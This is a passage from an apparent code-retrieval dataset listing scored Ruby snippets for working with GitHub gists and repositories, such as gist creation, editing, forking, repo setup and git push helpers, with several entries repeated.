\"https://raw.github.com/gist/#{gist}/#{file}\"\n end", "title": "" }, { "docid": "7c1b4dde566ed962e9494263466be475", "score": "0.62709314", "text": "def post_new_gist content \n\t\t\t\turl = GITHUB_API_GIST_LINK \n\t\t\t\tresponse = https_open_for ({url: url, mthd:\"post\", content: content})\n \t\t\t\tJSON.parse response.body\n\t\t\tend", "title": "" }, { "docid": "17386379315e81bbe2945529fd1ec61f", "score": "0.6223466", "text": "def stanford(name, ref = 'master')\n gitrepo \"code.stanford.edu\", name, ref\nend", "title": "" }, { "docid": "31c56396634bdd89508cda8ff05cd86b", "score": "0.6097368", "text": "def execute(*args)\n private_gist = defaults[\"private\"]\n gist_filename = nil\n gist_extension = defaults[\"extension\"]\n browse_enabled = defaults[\"browse\"]\n\n opts = OptionParser.new do |opts|\n opts.banner = \"Usage: gist [options] [filename or stdin]\"\n\n opts.on('-p', '--[no-]private', 'Make the gist private') do |priv|\n private_gist = priv\n end\n\n t_desc = 'Set syntax highlighting of the Gist by file extension'\n opts.on('-t', '--type [EXTENSION]', t_desc) do |extension|\n gist_extension = '.' + extension\n end\n\n opts.on('-o','--[no-]open', 'Open gist in browser') do |o|\n browse_enabled = o\n end\n\n opts.on('-m', '--man', 'Print manual') do\n Gist::Manpage.display(\"gist\")\n end\n\n opts.on('-v', '--version', 'Print version') do\n puts Gist::Version\n exit\n end\n\n opts.on('-h', '--help', 'Display this screen') do\n puts opts\n exit\n end\n end\n\n opts.parse!(args)\n\n begin\n if $stdin.tty?\n # Run without stdin.\n\n # No args, print help.\n if args.empty?\n puts opts\n exit\n end\n\n # Check if arg is a file. If so, grab the content.\n if File.exists?(file = args[0])\n input = File.read(file)\n gist_filename = file\n gist_extension = File.extname(file) if file.include?('.')\n else\n abort \"Can't find #{file}\"\n end\n else\n # Read from standard input.\n input = $stdin.read\n end\n\n url = write(input, private_gist, gist_extension, gist_filename)\n browse(url) if browse_enabled\n puts copy(url)\n rescue => e\n warn e\n puts opts\n end\n end", "title": "" }, { "docid": "05118812da126526fe65453434c1e9ae", "score": "0.60930425", "text": "def gist(id)\n get \"/gists/#{id}\"\n end", "title": "" }, { "docid": "50d6f045c3e3fbe70c4b790979df0f5b", "score": "0.59571326", "text": "def github(name, ref = 'master')\n gitrepo \"github.com\", name, ref\nend", "title": "" }, { "docid": "f3974617203671279dd551189d55e46f", "score": "0.5932291", "text": "def github(repository, owner = 'siimple')\n \"https://github.com/#{owner}/#{repository}.git\"\n end", "title": "" }, { "docid": "b5e3637d1fa27e39eb81e3bf7049bc6b", "score": "0.5921311", "text": "def sync_from_gist! octoclient\n name, file = octoclient.gist(gist_id).files.first\n self.body = file.content\n self.title = name.to_s.gsub(/\\.md$/, '').gsub('_', ' ').capitalize\n rescue Octokit::NotFound => e\n self.body = nil\n end", "title": "" }, { "docid": "e6e8639fb16808f5239e6db0d953bd8c", "score": "0.58947736", "text": "def create(project_name, repo_name, description) ; end", "title": "" }, { "docid": "212192a937198938e9f34e81e9b10637", "score": "0.5884454", "text": "def github(name, *args)\n options ||= if args.last.is_a? Hash\n args.last\n else\n {}\n end\n\n if path = options.delete(:path)\n mod name, :path => path\n else\n version = args.first\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\nend\nend", "title": "" }, { "docid": "59c2b317e75badc472a053e7756a386a", "score": "0.5846097", "text": "def new\n @gist = Gist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gist }\n end\n end", "title": "" }, { "docid": "ee86fb8f22abbbcb5b7f6c8a2fad1422", "score": "0.5822802", "text": "def generate_github_url\n prefix = Environment.config['github']['default_prefix']\n self.github = \"#{prefix}/#{slug}.md\"\n end", "title": "" }, { "docid": "c9677bd6cc8748e7de1a3d6f2e63e517", "score": "0.5813369", "text": "def save_to_gist(gist = nil)\n raise StandardError, 'Report was blank, so nothing was saved' if report.empty?\n\n options = {\n description: \"Hubtrics: Pull Requests Metrics for #{Date.today}\",\n public: false,\n files: { 'metrics.md' => { content: report } }\n }\n\n if gist\n client.edit_gist(gist, options)\n else\n client.create_gist(options)\n end\n end", "title": "" }, { "docid": "f7982c3025d3278e90c7e40cde19b89d", "score": "0.5805612", "text": "def create_url\n \"#{api_url}/gists\"\n end", "title": "" }, { "docid": "d2fb283342d6fdb79ce2e52fdb75d604", "score": "0.5802819", "text": "def write(content, private_gist = false, gist_extension = nil, gist_filename = nil)\n url = URI.parse(CREATE_URL)\n\n # Net::HTTP::Proxy returns Net::HTTP if PROXY_HOST is nil\n proxy = Net::HTTP::Proxy(PROXY_HOST, PROXY_PORT)\n req = proxy.post_form(url,\n data(gist_filename, gist_extension, content, private_gist))\n\n req['Location']\n end", "title": "" }, { "docid": "4e19de64a7c1342bb688a357a66da6dd", "score": "0.5764317", "text": "def github\n @github ||= (\n require 'detroit'\n require 'detroit-github'\n Detroit::GitHub.new(\n :folder => 'website'\n #:sitemap => {\n # 'index.html' => 'index.html',\n # 'doc.json' => 'doc.json',\n # 'assets' => 'assets'\n #}\n )\n ) \nend", "title": "" }, { "docid": "20f2b9a33cc6ed4a4410a0d23b7a6391", "score": "0.5756659", "text": "def github(name, *args)\n options ||= if args.last.is_a? Hash\n args.last\n else\n {}\n end\n\n if path = options.delete(:path)\n mod name, :path => path\n else\n version = args.first\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\n end\nend", "title": "" }, { "docid": "20f2b9a33cc6ed4a4410a0d23b7a6391", "score": "0.5756659", "text": "def github(name, *args)\n options ||= if args.last.is_a? Hash\n args.last\n else\n {}\n end\n\n if path = options.delete(:path)\n mod name, :path => path\n else\n version = args.first\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\n end\nend", "title": "" }, { "docid": "20f2b9a33cc6ed4a4410a0d23b7a6391", "score": "0.5756659", "text": "def github(name, *args)\n options ||= if args.last.is_a? Hash\n args.last\n else\n {}\n end\n\n if path = options.delete(:path)\n mod name, :path => path\n else\n version = args.first\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\n end\nend", "title": "" }, { "docid": "20f2b9a33cc6ed4a4410a0d23b7a6391", "score": "0.5756659", "text": "def github(name, *args)\n options ||= if args.last.is_a? Hash\n args.last\n else\n {}\n end\n\n if path = options.delete(:path)\n mod name, :path => path\n else\n version = args.first\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\n end\nend", "title": "" }, { "docid": "20f2b9a33cc6ed4a4410a0d23b7a6391", "score": "0.5756659", "text": "def github(name, *args)\n options ||= if args.last.is_a? Hash\n args.last\n else\n {}\n end\n\n if path = options.delete(:path)\n mod name, :path => path\n else\n version = args.first\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\n end\nend", "title": "" }, { "docid": "20f2b9a33cc6ed4a4410a0d23b7a6391", "score": "0.5756659", "text": "def github(name, *args)\n options ||= if args.last.is_a? Hash\n args.last\n else\n {}\n end\n\n if path = options.delete(:path)\n mod name, :path => path\n else\n version = args.first\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\n end\nend", "title": "" }, { "docid": "20f2b9a33cc6ed4a4410a0d23b7a6391", "score": "0.5756659", "text": "def github(name, *args)\n options ||= if args.last.is_a? Hash\n args.last\n else\n {}\n end\n\n if path = options.delete(:path)\n mod name, :path => path\n else\n version = args.first\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\n end\nend", "title": "" }, { "docid": "20f2b9a33cc6ed4a4410a0d23b7a6391", "score": "0.5756659", "text": "def github(name, *args)\n options ||= if args.last.is_a? Hash\n args.last\n else\n {}\n end\n\n if path = options.delete(:path)\n mod name, :path => path\n else\n version = args.first\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\n end\nend", "title": "" }, { "docid": "20f2b9a33cc6ed4a4410a0d23b7a6391", "score": "0.5756659", "text": "def github(name, *args)\n options ||= if args.last.is_a? Hash\n args.last\n else\n {}\n end\n\n if path = options.delete(:path)\n mod name, :path => path\n else\n version = args.first\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\n end\nend", "title": "" }, { "docid": "20f2b9a33cc6ed4a4410a0d23b7a6391", "score": "0.5756659", "text": "def github(name, *args)\n options ||= if args.last.is_a? Hash\n args.last\n else\n {}\n end\n\n if path = options.delete(:path)\n mod name, :path => path\n else\n version = args.first\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\n end\nend", "title": "" }, { "docid": "20f2b9a33cc6ed4a4410a0d23b7a6391", "score": "0.5756659", "text": "def github(name, *args)\n options ||= if args.last.is_a? Hash\n args.last\n else\n {}\n end\n\n if path = options.delete(:path)\n mod name, :path => path\n else\n version = args.first\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\n end\nend", "title": "" }, { "docid": "20f2b9a33cc6ed4a4410a0d23b7a6391", "score": "0.5756659", "text": "def github(name, *args)\n options ||= if args.last.is_a? Hash\n args.last\n else\n {}\n end\n\n if path = options.delete(:path)\n mod name, :path => path\n else\n version = args.first\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\n end\nend", "title": "" }, { "docid": "20f2b9a33cc6ed4a4410a0d23b7a6391", "score": "0.57566446", "text": "def github(name, *args)\n options ||= if args.last.is_a? Hash\n args.last\n else\n {}\n end\n\n if path = options.delete(:path)\n mod name, :path => path\n else\n version = args.first\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\n end\nend", "title": "" }, { "docid": "be34557d79cced48a189304fbd0b78e3", "score": "0.57412636", "text": "def create\n display 'Create a new Unfuddle repository'\n \n repo = Unfuddle::Resources::Repository.create(\n :repository => {\n :title => ask('Name', :required => true),\n :abbreviation => ask('Slug', :required => true),\n :system => 'git',\n :projects => {\n :project => {\n :id => 24468 \n }\n }\n }\n )\n end", "title": "" }, { "docid": "6e2b2521ea0ad3e5e9bb316e36a79d92", "score": "0.5737181", "text": "def create_gist_comment(id, comment)\n post \"/gists/#{id}/comments\", :body => { :body => comment }\n end", "title": "" }, { "docid": "9cd0c9dfe1534bfd9d8c15a3790fce93", "score": "0.5724813", "text": "def create_git_tag\n assignment_repository.write do |git|\n git.add_tag git_tag\n end\n end", "title": "" }, { "docid": "d1449429e0ec32334b4104bfce241c69", "score": "0.5724064", "text": "def creating_github_release\n github = \"Generating Github release\"\n puts bold(github)\n puts github.length.times.map {\"=\"}.join\n puts\n end", "title": "" }, { "docid": "ed398db5514878205af59ee401885ed4", "score": "0.5718625", "text": "def gist_string(string)\n gist(:string=>string, :private=>true)\n end", "title": "" }, { "docid": "280cedc6a834afd34c44ae40355f7aef", "score": "0.5711016", "text": "def render_gist(gist, file, data)\n script_url = script_url_for gist, file\n html_output_for script_url, data\n end", "title": "" }, { "docid": "62333530ee72d21a9609ab3bf6f13553", "score": "0.57010335", "text": "def push_to_repo\n return if @remote_type == :none\n\n if @remote_type == :bitbucket\n puts 'Cannot automatically create BitBucket repository.'\n puts 'Please, open it manually at https://bitbucket.org/repo/create'\n `#{ENV['BROWSER']} https://bitbucket.org/repo/create`\n return\n end\n\n return unless %i[github].include?(@remote_type)\n\n gh_options = [\n @name,\n ]\n gh_options << '--team algolia' if @is_algolia\n\n if @is_private\n gh_options << '--private'\n else\n gh_options << '--public'\n end\n\n command = \"gh repo create #{gh_options.join(' ')}\"\n\n if command_success?(command)\n puts '✔ Creating GitHub repository'\n else\n puts '✘ Failed to create GitHub repository'\n exit 1\n end\n\n if command_success?('git push origin main')\n puts '✔ Pushed to repository'\n else\n puts '✘ Failed to push to repository'\n exit 1\n end\n end", "title": "" }, { "docid": "bfdace2523f94ad88ae28fcda35c58b7", "score": "0.56830966", "text": "def github(name, version, options = nil)\n options ||= {}\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\nend", "title": "" }, { "docid": "bfdace2523f94ad88ae28fcda35c58b7", "score": "0.56830966", "text": "def github(name, version, options = nil)\n options ||= {}\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\nend", "title": "" }, { "docid": "bfdace2523f94ad88ae28fcda35c58b7", "score": "0.56830966", "text": "def github(name, version, options = nil)\n options ||= {}\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\nend", "title": "" }, { "docid": "bfdace2523f94ad88ae28fcda35c58b7", "score": "0.56830966", "text": "def github(name, version, options = nil)\n options ||= {}\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\nend", "title": "" }, { "docid": "bfdace2523f94ad88ae28fcda35c58b7", "score": "0.56830966", "text": "def github(name, version, options = nil)\n options ||= {}\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\nend", "title": "" }, { "docid": "bfdace2523f94ad88ae28fcda35c58b7", "score": "0.56830966", "text": "def github(name, version, options = nil)\n options ||= {}\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\nend", "title": "" }, { "docid": "bfdace2523f94ad88ae28fcda35c58b7", "score": "0.56830966", "text": "def github(name, version, options = nil)\n options ||= {}\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\nend", "title": "" }, { "docid": "bfdace2523f94ad88ae28fcda35c58b7", "score": "0.56830966", "text": "def github(name, version, options = nil)\n options ||= {}\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\nend", "title": "" }, { "docid": "bfdace2523f94ad88ae28fcda35c58b7", "score": "0.56830966", "text": "def github(name, version, options = nil)\n options ||= {}\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\nend", "title": "" }, { "docid": "bfdace2523f94ad88ae28fcda35c58b7", "score": "0.56830966", "text": "def github(name, version, options = nil)\n options ||= {}\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\nend", "title": "" }, { "docid": "d263705e16434e930b0e79e01f85b679", "score": "0.5644649", "text": "def parse_gist\n src = content.strip\n if src =~ /\\A\\w+(\\-\\w+)*\\/\\d+/\n src = \"https://gist.github.com/#{src}\"\n else\n src.sub! /\\A(?=gist\\.github\\.com)/, 'https://'\n end\n src.sub!(/((?<!\\.js)|\\.git)$/, '.js')\n %Q|<script src=\"#{src}\"></script>|\n end", "title": "" }, { "docid": "e12044906ee303295e6fa4c98287c96a", "score": "0.56206846", "text": "def githubize\n # method goes here\n end", "title": "" }, { "docid": "4a9a4c6882a07f0b5cf8f8f36f4edc11", "score": "0.5599574", "text": "def git_commit_and_push(cookbook_path, github_url)\n if File.exists?(File.join(cookbook_path, \".git\"))\n shell_out(\"git remote rm origin\", :cwd => cookbook_path)\n else\n shell_out!(\"git init\", :cwd => cookbook_path)\n end\n shell_out!(\"echo - $(date): Uploaded with knife github plugin. >> CHANGELOG.md \", :cwd => cookbook_path)\n shell_out!(\"git add .\", :cwd => cookbook_path)\n shell_out!(\"git commit -m 'creating initial cookbook structure from the knife-github plugin' \", :cwd => cookbook_path)\n shell_out!(\"git remote add origin #{github_url} \", :cwd => cookbook_path)\n shell_out!(\"git push -u origin master\", :cwd => cookbook_path)\n end", "title": "" }, { "docid": "7a1460197ce2d955ac436fbc5862816d", "score": "0.55995643", "text": "def fork_gist(id)\n boolean_request :post, \"/gists/#{id}/fork\"\n end", "title": "" }, { "docid": "c7bacfe2b37cb05e617574701286f1e1", "score": "0.5575973", "text": "def gist_params\n params.require(:gist).permit(:description, :file_name, :code, :secret, :user_id)\n end", "title": "" }, { "docid": "528e534a6102f65df5840b5fc2a00b59", "score": "0.55619144", "text": "def edit_gist(id, files={}, options={:public => true})\n options.merge!(files)\n patch \"/gists/#{id}\", :body => options\n end", "title": "" }, { "docid": "ce859a5d0fa4a3512ebd6aa1c3b53c83", "score": "0.5551074", "text": "def publish_results(project_name, number, outcome, body, options)\n require 'github_api'\n github = ::Github.new(options)\n gist_response = github.gists.create(\n 'description' => \"#{project_name}/#{number}@#{Time.now.strftime(\"%Y%m%dT%H%M%S%z\")}\",\n 'public' => true,\n 'files' => {\n 'file1' => {'content' => body}\n }\n )\n comments = github.issues.comments.create(\n 'puppetlabs',\n \"puppetlabs-#{project_name}\",\n number,\n 'body' => \"Test #{outcome}. Results can be found here: #{gist_response.html_url}\"\n )\n end", "title": "" }, { "docid": "5bba1dd75d6dccc0b780a24903e1f3e6", "score": "0.5530853", "text": "def script_url_for(gist_id, filename)\n \"https://gist.github.com/#{gist_id}.js?file=#{filename}\"\n end", "title": "" }, { "docid": "54067c6b6178eb938731049ca408a0a2", "score": "0.5525653", "text": "def repo_make(name)\n path = repo_path(name)\n path.mkpath\n Dir.chdir(path) do\n Pod::Executable.capture_command!('git', %w(init))\n Pod::Executable.capture_command!('git', %w(checkout -b main))\n repo_make_readme_change(name, 'Added')\n Pod::Executable.capture_command!('git', %w(add .))\n Pod::Executable.capture_command!('git', %w(commit -nm Initialized.))\n end\n path\n end", "title": "" }, { "docid": "3cfe6323c10f13e49facc8ba2f66bbae", "score": "0.54689443", "text": "def paste_text(text, title = \"rake test\")\n uri = URI.parse('http://gist.github.com/api/v1/xml/new')\n req = Net::HTTP::Post.new(uri.path)\n req.set_form_data({ \"files[Fancy: #{title} @ #{get_revision}]\" => text })\n res = Net::HTTP.new(uri.host, uri.port).start {|http| http.request(req) }\n if(res.code == '200')\n 'http://gist.github.com/' + res.body.match(/repo>(\\d+)</)[1]\n else\n false\n end\n end", "title": "" }, { "docid": "eb8ce1ad348b530abd843e2c064407f5", "score": "0.54615134", "text": "def generate_readme\n readme_path = File.join(Glitter::Application.config.repo_path, 'readme.md')\n File.write(\n readme_path,\n <<-RUBY.strip_heredoc)\n ## HEAD\n\n * bullet1\n * bullet2\n RUBY\n readme_path\n end", "title": "" }, { "docid": "721d105d158577c8a1244a9a9a5507d3", "score": "0.5445211", "text": "def set_gist\n @gist = Gist.find(params[:id])\n end", "title": "" }, { "docid": "1ad3ff64c701674d1abd9b10a9eb7ab3", "score": "0.5438449", "text": "def create_gist_comment(gist_id, body, options = {})\n opts = options.dup\n opts[:body] = body\n post \"gists/#{Gist.new gist_id}/comments\", opts\n end", "title": "" }, { "docid": "b7986bc64d487e8ba139b4cd24e18a03", "score": "0.54323125", "text": "def add_readme(project)\n file_path = generate_readme\n file = [ActionDispatch::Http::UploadedFile.new(\n tempfile: File.new(file_path),\n filename: 'readme.md'\n )]\n project.add_images(\n 'master',\n nil,\n file,\n project.user.git_author_params\n )\n end", "title": "" }, { "docid": "be5160798f1aef43b4b14fa291205eb4", "score": "0.542169", "text": "def edit_gist(filepath, opts = {})\n begin\n id, name = select_gist_id(\"edit\")\n edit_opts = generate_options(filepath, opts)[0]\n options = {:body => edit_opts.to_json}\n resp = self.class.patch(\"/gists/#{id}\", options)\n response_handling(resp, 200, name, \"edited\")\n rescue SocketError => e\n puts \"\\ncould not connect to Github, heres the error - SocketError - #{e}\\n\"\n puts \"your probably not connected to the internetz, dumbo\"\n end\n end", "title": "" }, { "docid": "966dc145bde0bd3594aafcaea7b2d65f", "score": "0.54058033", "text": "def render_gist(gist, file, data)\n json = JSON.parse(data)\n\n # get the list of gist files\n files = json[\"files\"]\n\n # our output buffer\n output = \"\"\n\n files.each do |name,info|\n\n # if a file name was provided, only display that file\n if !file.empty? && file != name\n next\n end\n\n # raw gist content\n data = info[\"content\"]\n\n # render markdown ourselves\n if info[\"language\"] == \"Markdown\"\n output << data\n output << \"\\n\\n\"\n else\n script_url = script_url_for(gist, name)\n code = CGI.escapeHTML data\n output << \"<div><script src='#{script_url}'></script>\"\n output << \"<noscript><pre><code>#{code}</code></pre></noscript></div>\"\n end\n end\n CGI.unescapeHTML(output)\n end", "title": "" }, { "docid": "4aae9cf77d9fd3e9ae92556656bc9e23", "score": "0.536429", "text": "def create_repo\n Rugged::Repository.init_at(repo_path, :bare).tap do |repo|\n repo.remotes.create('origin', \"[email protected]:#{project.gh_path}\")\n repo.remotes.add_fetch_refspec('origin', GITHUB_PULLS_REFSPEC)\n end\n end", "title": "" }, { "docid": "72ebc2877917b09c7ac5c2b9849dfe41", "score": "0.5359477", "text": "def name\n 'GitHub'\n end", "title": "" }, { "docid": "4b2abb48a6e40114c6d5a0126d5053f2", "score": "0.5346408", "text": "def publish\n raise \"Can't publish if doc/ exists\" if File.exists?('doc')\n `git checkout gh-pages`\n FileUtils.cp_r 'website/.', '.'\n `git add doc index.html`\n system \"git commit -am 'Updated files.'\"\n system \"git push origin gh-pages\"\n `git checkout master`\n \"Published website.\"\n end", "title": "" }, { "docid": "bbc3dd7bd87ddbc000d6fef5b1e2247f", "score": "0.5330642", "text": "def create_ips_repo\n shellout!(\"pkgrepo create #{repo_dir}\")\n log.info(log_key) { \"Created IPS repo: #{repo_dir}\" }\n end", "title": "" }, { "docid": "a1c56bfb54758aaee094b5237141f512", "score": "0.53159046", "text": "def gem_git(name, options) # :nodoc:\n if gist = options.delete(:gist)\n options[:git] = \"https://gist.github.com/#{gist}.git\"\n end\n\n return unless repository = options.delete(:git)\n\n pin_gem_source name, :git, repository\n\n reference = gem_git_reference options\n\n submodules = options.delete :submodules\n\n @git_set.add_git_gem name, repository, reference, submodules\n\n true\n end", "title": "" }, { "docid": "9f52f82ce9bc55985c7427cd1b6b48a9", "score": "0.5311929", "text": "def set_gist\n @gist = Gist.find(params[:id])\n end", "title": "" }, { "docid": "9f52f82ce9bc55985c7427cd1b6b48a9", "score": "0.5311929", "text": "def set_gist\n @gist = Gist.find(params[:id])\n end", "title": "" }, { "docid": "ce7007fd20cfd2df261757173e449227", "score": "0.5308407", "text": "def create_github_issue_for(author)\n Rails.logger.info \"Creating github issue for author #{author.id}\"\n octokit_client.create_issue(repo_name, author.name, author.bio)\n end", "title": "" }, { "docid": "32374443e5a42efb7540cb4f554c7a36", "score": "0.53067523", "text": "def execute(*args)\n set_config('gist.api-url', DEFAULT_GITHUB_API_BASE_URL) if !config('gist.api-url')\n set_config('gist.default-url', DEFAULT_GITHUB_API_BASE_URL) if !config('gist.default-url')\n\n begin\n option_parser.parse!(args)\n\n if $stdin.tty? && options.setup_credentials\n api_url # make sure API URL selection happens, if need be\n setup_credentials\n exit 1\n end\n\n if $stdin.tty? && args[0] != '-'\n # Run without stdin.\n usage if args.empty?\n\n files = args.inject([]) { |list, file|\n # Check if arg is a file. If so, grab the content.\n abort \"Can't find #{file}\" unless File.exists?(file)\n\n list.push({\n :input => File.read(file),\n :filename => file,\n :extension => file.include?('.') ? File.extname(file) : options.gist_extension\n })\n }\n else\n # Read from standard input.\n input = $stdin.read\n files = [{:input => input, :extension => options.gist_extension}]\n end\n\n url = write(files, options.private_gist, options.description)\n browse(url) if options.browse_enabled\n $stdout.puts copy(to_embed(url)) if options.embed_enabled\n $stdout.puts copy(url) unless options.embed_enabled\n rescue Interrupt\n $stderr.puts \"\\nQuit.\"\n exit 1\n rescue OptionParser::InvalidOption => e\n warn e; puts\n usage\n exit 1\n rescue StandardError => e\n options.debug ? warn(e) : raise(e)\n end\n end", "title": "" }, { "docid": "74a5a1a796f75268d074c6e40c3b6d7a", "score": "0.5300338", "text": "def update_gist\n @gist[\"list.json\"] = JSON.pretty_generate @things\n @gists.save @gist\n end", "title": "" }, { "docid": "bcc79a11dcad1b7095a936ffb17f3466", "score": "0.52931774", "text": "def create\n @git_hub_repo = GitHubRepo.new(git_hub_repo_params)\n\n respond_to do |format|\n if @git_hub_repo.save\n format.html { redirect_to @git_hub_repo, notice: 'Git hub repo was successfully created.' }\n format.json { render :show, status: :created, location: @git_hub_repo }\n else\n format.html { render :new }\n format.json { render json: @git_hub_repo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c6279cd40006bcad6ee4c917611868b8", "score": "0.5292524", "text": "def github(name: T.unsafe(nil), email: T.unsafe(nil), uid: T.unsafe(nil)); end", "title": "" }, { "docid": "a085e29d05234c66b6dd6a8019dcf9cc", "score": "0.5280223", "text": "def url\n \"http://github.com/#{repo.owner.login}/#{repo.name}/#{name}\"\n end", "title": "" }, { "docid": "ebedb523ae6c337e35f7acebb808e2d6", "score": "0.52792734", "text": "def create_local_commit author: nil, branch:, file_name:, file_content:, message:, push: false\n on_branch(branch) do\n if (folder_name = File.dirname file_name) != '.'\n Dir.mkdir folder_name\n end\n File.write file_name, file_content\n run \"git add '#{file_name}'\"\n run \"git commit -m '#{message}' #{\"--author='#{author}'\" if author}\"\n run 'git push' if push\n end\nend", "title": "" }, { "docid": "9d5388603d6f0bae1345583c64416a69", "score": "0.5265125", "text": "def GitSimple(*args) # rubocop:disable Naming/MethodName\n GitSimple.new(*args)\nend", "title": "" }, { "docid": "27aee3e92df5dc0d8a170b7b73f43e0c", "score": "0.5256609", "text": "def github\n\n @github = Github.new({ client_id: CONFIG[:GITHUB_CLIENT_ID], client_secret: CONFIG[:GITHUB_CLIENT_SECRET] })\n end", "title": "" }, { "docid": "3384f527dee21a90322dad85943b5d2d", "score": "0.52533436", "text": "def github_push(payload)\n\n pushType = payload[\"repository\"][\"full_name\"].split(\"/\")[1].split(\"-\")[0]\n if pushType == \"assignment\"\n TestGraderWorker.perform_async(payload)\n end\n\n org = payload[\"repository\"][\"organization\"]\n repo = payload[\"repository\"][\"name\"]\n repo_array = repo.split(\"-\")\n\n project_name = repo_array[0]\n type = repo_array[1]\n user = repo_array[2]\n\n expected_repo = \"#{org}/#{project_name}-expected\" \n student_repo = \"#{org}/#{project_name}-#{user}\"\n grade_repo = \"#{org}/#{project_name}-grade\"\n #results_repo = \"#{org}/#{project_name}-results-#{type}\"\n\n organization = Organization.new.github_client\n case type\n when \"grader\"\n if not organization.repository?(expected_repo)\n organization.create_repository(\n \"#{project_name}-expected\", organization: org, auto_init: true)\n end\n when \"expected\"\n when \"grade\"\n #when \"results\"\n # if not organization.repository?(grade_repo)\n # organization.create_repository(\n # \"#{project_name}-grade\", organization: org, auto_init: true)\n # end\n else\n if not organization.repository?(grade_repo)\n organization.create_repository(\n \"#{project_name}-grade\", organization: org, auto_init: true)\n end\n end\n\tend", "title": "" }, { "docid": "d382dc4668f630a44911c78e0fc29fe9", "score": "0.5248972", "text": "def save\n require 'git'\n git = Git.open('.', :log => Logger.new($stdout))\n git.pull # origin master\n write_version_to_file\n git.add(Version.path)\n git.commit(\"Bump version to #{self}.\")\n git.add_tag(self.to_s)\n git.push('origin', 'master', true) # including tags\n notify_campfire(git)\n rescue LoadError\n raise LoadError, \"You must have the git gem installed to make a release.\"\n end", "title": "" }, { "docid": "2a9137b173727ce1edd913522dba4bd5", "score": "0.5238844", "text": "def load_from_gist(url, version_id)\n\nend", "title": "" }, { "docid": "0c074c1cd95bf59ff69b1aa913c2a022", "score": "0.52219945", "text": "def build_repo(uri, distribution, components, trusted, arch, add_deb_src)\n components = components.join(' ') if components.respond_to?(:join)\n repo_options = []\n repo_options << \"arch=#{arch}\" if arch\n repo_options << 'trusted=yes' if trusted\n repo_options = '[' + repo_options.join(' ') + ']' unless repo_options.empty?\n repo_info = \"#{uri} #{distribution} #{components}\\n\"\n repo_info = \"#{repo_options} #{repo_info}\" unless repo_options.empty?\n repo = \"deb #{repo_info}\"\n repo << \"deb-src #{repo_info}\" if add_deb_src\n repo\nend", "title": "" }, { "docid": "d17efe7b5b883d01a149704307224aeb", "score": "0.52212733", "text": "def about\n require \"github/markup\"\n @readme = GitHub::Markup.render(\"README.md\", File.read(\"README.md\")).html_safe\n end", "title": "" }, { "docid": "0672ff6a3a0c2e2795f50d9f463d6d8a", "score": "0.5215069", "text": "def gist_params\n params.require(:gist).permit(:snippet, :lang, :description)\n end", "title": "" }, { "docid": "93e8b352eb909b431a430ab57d881c29", "score": "0.5214093", "text": "def create\n url = repo_params[:html_url]\n params = Repo.get_repo(url, current_user)\n if params == nil\n redirect_to :back, notice: 'Error with API access token.'\n return\n end\n if params == -1\n redirect_to :back, alert: 'Repo already exists' and return\n end\n\n params[:user_id] = current_user.id\n @repo = Repo.new(params)\n\n respond_to do |format|\n if @repo.save\n format.html { redirect_to @repo, notice: 'Repo was successfully created.' }\n format.json { render :show, status: :created, location: @repo }\n else\n format.html { render :new }\n format.json { render json: @repo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6743ed52b8d37ba52213d03d5d3daff3", "score": "0.5211891", "text": "def github_url\n GITHUB_ARTICLES_URL + file_name\n end", "title": "" }, { "docid": "f569d454ad07eedf97e2cc9bd4b85b83", "score": "0.52101123", "text": "def gist_id(id)\n Hardmode.get(\"/gists/#{id}\", :headers => @auth)\n end", "title": "" }, { "docid": "c65da722966b2812c7d9cfee6b91be77", "score": "0.5196989", "text": "def commit_changes(description)\n git :add => '-A'\n git :commit => %Q(-qm \"thegarage-template: [#{@current_recipe}] #{description}\")\nend", "title": "" }, { "docid": "cfaf4c811ca57a1afe506459c4678f9d", "score": "0.51900846", "text": "def create_git_dir\n FileUtils.mkdir_p(@git_dir_path)\n FileUtils.cd(@git_dir_path)\n `git init &>/dev/null` # no effect if already initialized\n # Add github remote\n `git remote add origin [email protected]:#{@user}/#{@repo_name}.git &>/dev/null`\n end", "title": "" }, { "docid": "dc529119f4e1bdff2e448e62ea64f05d", "score": "0.5186243", "text": "def regenerate_git_repository\n logger.info `curl --user 